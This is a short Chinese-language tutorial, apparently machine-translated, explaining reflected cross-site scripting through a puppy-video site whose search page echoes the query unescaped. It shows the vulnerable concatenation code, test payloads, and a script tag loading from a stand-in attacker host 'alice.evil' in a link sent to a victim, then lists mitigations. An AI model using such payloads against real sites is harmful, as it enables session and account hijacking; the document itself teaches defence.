假设 Joe 拥有一个网站，允许你登录，查看小狗视频，并将其保存到你的帐户。

每当用户在该网站上搜索时，他们都会被重定向到 https://example.com/search?q=brown+puppies。

如果用户的搜索与任何内容都不匹配，那么他们会看到以下消息：

你的搜索（ 棕色小狗 ），没有任何匹配。再试一次。

在后端，该消息显示如下：

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

然而，当 Alice 搜索 <h1>headings</h1> 时，她得到了这个：

你的搜索 （ ****

标题

）没有匹配任何东西。再试一次。

原始 HTML：

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

比爱丽丝搜索 <script>alert(1)</script>，她看到：

你的搜索（）与任何内容都不匹配。再试一次。

和：

比 Alice 搜索 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies，并在她的地址栏中复制链接，而不是电子邮件 Bob：

鲍勃，

当我寻找可爱的小狗时 ，没有任何反应！

当 Bob 登录到他的帐户时，Alice 会成功地让 Bob 运行她的脚本。

减轻：

1. 在没有找到结果的情况下返回搜索项之前，在搜索中转义所有尖括号。
2. 未找到结果时，请勿返回搜索词。
3. 添加内容安全策略 ，拒绝从其他域加载活动内容